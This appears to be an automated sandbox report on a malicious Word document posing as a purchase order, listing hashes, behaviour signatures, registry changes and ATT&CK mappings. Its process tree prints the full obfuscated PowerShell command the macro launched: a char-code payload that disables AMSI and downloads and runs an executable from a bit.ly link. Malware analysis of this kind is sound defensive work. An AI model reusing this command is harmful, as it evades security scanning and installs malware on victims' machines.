de1ec15823c3d7078339d1211ffeafd491e23c409d8d55dcc25c552beb9d3c5b

General

Target

ABSURY CHINA PO#200929H3246.doc
Size

137KB
MD5

ac33ee5032e398b9c27377762e1f7f17
SHA1

56089cc1a763cf6a078babee414ff6b9ab522a8a
SHA256

de1ec15823c3d7078339d1211ffeafd491e23c409d8d55dcc25c552beb9d3c5b
SHA512

4e883ecf884c46686dcd8ffa4392a1b549b0d3d4bbea9c3c07a9a421546168724da2e9b98030aed1bb99c6dee5f8cd8ae075bac4e14126bc7b7d1a61b3afde51

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bit.ly/3cnqYgk

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	840	1812	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 840 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

flow	pid	process
7	840	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1812 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

840 powershell.exe
840 powershell.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

WINWORD.EXE

pid process

1812 WINWORD.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 840 powershell.exe

pid	process
840	powershell.exe
840	powershell.exe

description	pid	process
Token: SeDebugPrivilege	840	powershell.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

WINWORD.EXE

pid	process
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE
1812	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1812 wrote to memory of 840	1812	WINWORD.EXE	powershell.exe
PID 1812 wrote to memory of 840	1812	WINWORD.EXE	powershell.exe
PID 1812 wrote to memory of 840	1812	WINWORD.EXE	powershell.exe
PID 1812 wrote to memory of 840	1812	WINWORD.EXE	powershell.exe
PID 1812 wrote to memory of 1756	1812	WINWORD.EXE	splwow64.exe
PID 1812 wrote to memory of 1756	1812	WINWORD.EXE	splwow64.exe
PID 1812 wrote to memory of 1756	1812	WINWORD.EXE	splwow64.exe
PID 1812 wrote to memory of 1756	1812	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ABSURY CHINA PO#200929H3246.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1812

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $sSIlTYNjhraqEeSxwG=@(91,100,111,117,98,108,101,93,36,111,115,118,101,114,32,61,32,91,115,116,114,105,110,103,93,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,97,106,111,114,32,43,32,39,46,39,32,43,32,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,105,110,111,114,59,105,102,32,40,36,111,115,118,101,114,32,45,103,101,32,49,48,46,48,41,32,123,101,99,104,111,32,87,105,110,100,111,119,115,49,48,59,36,84,81,78,61,91,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,46,77,97,114,115,104,97,108,93,58,58,65,108,108,111,99,72,71,108,111,98,97,108,40,40,49,50,52,55,48,45,51,51,57,52,41,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,99,72,65,82,93,40,91,66,121,116,101,93,48,120,52,49,41,43,91,99,72,97,82,93,40,91,66,89,84,69,93,48,120,54,68,41,43,91,67,72,97,114,93,40,91,98,89,84,69,93,48,120,55,51,41,43,91,67,104,65,114,93,40,91,98,121,116,69,93,48,120,54,57,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,67,72,97,82,93,40,91,98,89,116,101,93,48,120,54,49,41,43,91,67,104,97,82,93,40,91,98,89,84,101,93,48,120,54,68,41,43,91,67,104,97,82,93,40,49,52,56,45,51,51,41,43,91,99,72,65,114,93,40,49,48,53,41,41,83,101,115,115,105,111,110,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,36,110,117,108,108,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,99,72,65,82,93,40,91,66,121,116,101,93,48,120,52,49,41,43,91,99,72,97,82,93,40,91,66,89,84,69,93,48,120,54,68,41,43,91,67,72,97,114,93,40,91,98,89,84,69,93,48,120,55,51,41,43,91,67,104,65,114,93,40,91,98,121,116,69,93,48,120,54,57,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,67,72,97,82,93,40,91,98,89,116,101,93,48,120,54,49,41,43,91,67,104,97,82,93,40,91,98,89,84,101,93,48,120,54,68,41,43,91,67,104,97,82,93,40,49,52,56,45,51,51,41,43,91,99,72,65,114,93,40,49,48,53,41,41,67,111,110,116,101,120,116,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,91,73,110,116,80,116,114,93,36,84,81,78,41,59,125,101,108,115,101,32,123,125,59,36,99,108,105,101,110,116,32,61,32,110,101,119,45,111,98,106,101,99,116,32,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,59,36,97,32,61,32,39,104,116,116,112,115,58,47,47,98,105,116,46,108,121,47,51,99,110,113,89,103,107,39,46,83,112,108,105,116,40,39,44,39,41,59,36,104,117,97,115,32,61,32,36,101,110,118,58,116,101,109,112,32,43,32,39,92,109,122,110,102,99,104,104,101,109,121,119,46,101,120,101,39,59,102,111,114,101,97,99,104,40,36,98,32,105,110,32,36,97,41,123,116,114,121,123,36,99,108,105,101,110,116,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,98,46,84,111,83,116,114,105,110,103,40,41,44,32,36,104,117,97,115,41,59,73,110,118,111,107,101,45,73,116,101,109,40,36,104,117,97,115,41,59,98,114,101,97,107,59,125,99,97,116,99,104,123,119,114,105,116,101,45,104,111,115,116,32,36,95,46,69,120,99,101,112,116,105,111,110,46,77,101,115,115,97,103,101,125,125,59);[System.Text.Encoding]::ASCII.GetString($sSIlTYNjhraqEeSxwG)|&('I'+'EX');
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:840

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1756

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/840-23-0x00000000056C0000-0x00000000056C1000-memory.dmp

Filesize
4KB

Download
memory/840-15-0x0000000002760000-0x0000000002761000-memory.dmp

Filesize
4KB

Download
memory/840-10-0x0000000001DA0000-0x0000000001DA1000-memory.dmp

Filesize
4KB

Download
memory/840-5-0x0000000000000000-mapping.dmp

Download
memory/840-6-0x0000000076241000-0x0000000076243000-memory.dmp

Filesize
8KB

Download
memory/840-32-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/840-8-0x000000006A6E0000-0x000000006ADCE000-memory.dmp

Filesize
6.9MB

Download
memory/840-12-0x00000000048F0000-0x00000000048F1000-memory.dmp

Filesize
4KB

Download
memory/840-33-0x0000000006350000-0x0000000006351000-memory.dmp

Filesize
4KB

Download
memory/840-31-0x0000000005800000-0x0000000005801000-memory.dmp

Filesize
4KB

Download
memory/840-11-0x0000000004930000-0x0000000004931000-memory.dmp

Filesize
4KB

Download
memory/840-13-0x00000000048F2000-0x00000000048F3000-memory.dmp

Filesize
4KB

Download
memory/840-14-0x00000000020C0000-0x00000000020C1000-memory.dmp

Filesize
4KB

Download
memory/840-24-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/840-18-0x0000000005660000-0x0000000005661000-memory.dmp

Filesize
4KB

Download
memory/1756-9-0x000007FEFBA41000-0x000007FEFBA43000-memory.dmp

Filesize
8KB

Download
memory/1756-7-0x0000000000000000-mapping.dmp

Download
memory/1812-2-0x0000000072541000-0x0000000072544000-memory.dmp

Filesize
12KB

Download
memory/1812-3-0x000000006FFC1000-0x000000006FFC3000-memory.dmp

Filesize
8KB

Download
memory/1812-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads